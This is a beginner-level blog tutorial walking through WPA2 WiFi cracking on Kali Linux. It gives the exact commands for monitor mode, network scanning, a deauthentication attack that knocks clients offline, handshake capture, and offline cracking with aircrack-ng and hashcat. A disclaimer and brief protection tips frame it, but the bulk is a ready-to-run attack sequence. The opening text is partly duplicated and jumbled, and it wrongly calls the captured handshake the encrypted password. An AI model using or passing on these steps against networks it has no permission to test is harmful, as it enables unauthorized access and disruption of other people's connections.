You have probably heard stories about hackers breaking into WiFi networks. But you know how hacker do it?
---- read full blog half knowledge is dangerous :) so lets start cybercapsIn this guide, I'll show you how ethical hackers test WiFi security using Kali Linux. Whether you're a beginner curious about cybersecurity or a network admin looking to harden your defenses, this tutorial will give you real, practical knowledge.
Important Disclaimer:
This guide is for educational purposes only. Only test networks you own or have explicit permission to audit. Unauthorized access to WiFi networks is illegal and punishable by law.
What You'll Need
Check Your Wireless Interface
Look for your wireless adapter (typically wlan0 or wlp1s0).
how Enable Monitor Mode
Your interface will change to something like wlan0mon. its very impotent step do not forget this
Troubleshooting Tip:
- Kali Linux (Download from kali.org) (there is plenty of YouTube Video on how to download kali)
- A Wireless Adapter (Must support monitor mode - recommended: Alfa AWUS036ACH)
- A Test Network (Your own WiFi or a lab environment)
Step 1: Setting Up Your Adapter
Check Your Wireless Interface
iwconfig
Look for your wireless adapter (typically wlan0 or wlp1s0).
how Enable Monitor Mode
airmon-ng start wlan0
Your interface will change to something like wlan0mon. its very impotent step do not forget this
Troubleshooting Tip:
If you get errors about "processes interfering," run:
airmon-ng check kill
Step 2: Finding Target Networks
Scan for WiFi Networks
airodump-ng wlan0mon
You'll see:
- BSSID: The router's MAC address
- CH: Channel number
- ENC: Encryption type (WEP, WPA2, etc.)
- ESSID: Network name
CyberCap Tip:
Press Ctrl+C to stop scanning when you find your target.
Step 3: Capturing the Handshake (Interesting Step :))
Focus on One Network
airodump-ng -c [channel] --bssid [BSSID] -w capture wlan0mon
-------- Replace [channel] and [BSSID] with values from your scan.
Force a Handshake (Deauth Attack)
Open a new terminal and run:aireplay-ng --deauth 10 -a [BSSID] wlan0mon
This sends deauthentication packets to force devices to reconnect.
Look for this message in airodump-ng:
WPA handshake: [BSSID]
This means you've captured the encrypted password!
Step 4: Cracking the Password (A bit boring step)
Method 1: Using a Wordlist (Recommended)
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
rockyou.txt is a common password list included in Kali
This may take hours or days depending on password strength
Method 2: Using Hashcat (GPU Accelerated)
hcxpcapngtool -o hash.hc22000 capture-01.cap
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt
Faster if you have a good GPU.
How to Protect Your WiFi (Share this blog with your family or friends)
1. Use WPA3 Encryption
WPA2 is vulnerable - upgrade if your router supports it.
2. Create Strong Passwords
- At least 12 characters
- Mix uppercase, numbers, and symbols
- Avoid dictionary words
3. Disable WPS
WPS (WiFi Protected Setup) has known vulnerabilities:
wash -i wlan0mon
If you see WPS enabled, disable it in your router settings.
Frequently Asked Questions
❓ Is this illegal?
Yes, if you test networks without permission. Always get written consent.
❓ Why isn't my adapter working?
Many cheap adapters don't support monitor mode. The Alfa AWUS036ACH works reliably.
❓ How long does cracking take?
Simple passwords: Minutes
Complex passwords: Years (which is why strong passwords matter!)
Conclusion
Learning these techniques helps you:- Test your own network security
- Appreciate why strong passwords matter
- Learn real cybersecurity skills
Want More Cybersecurity Tips?
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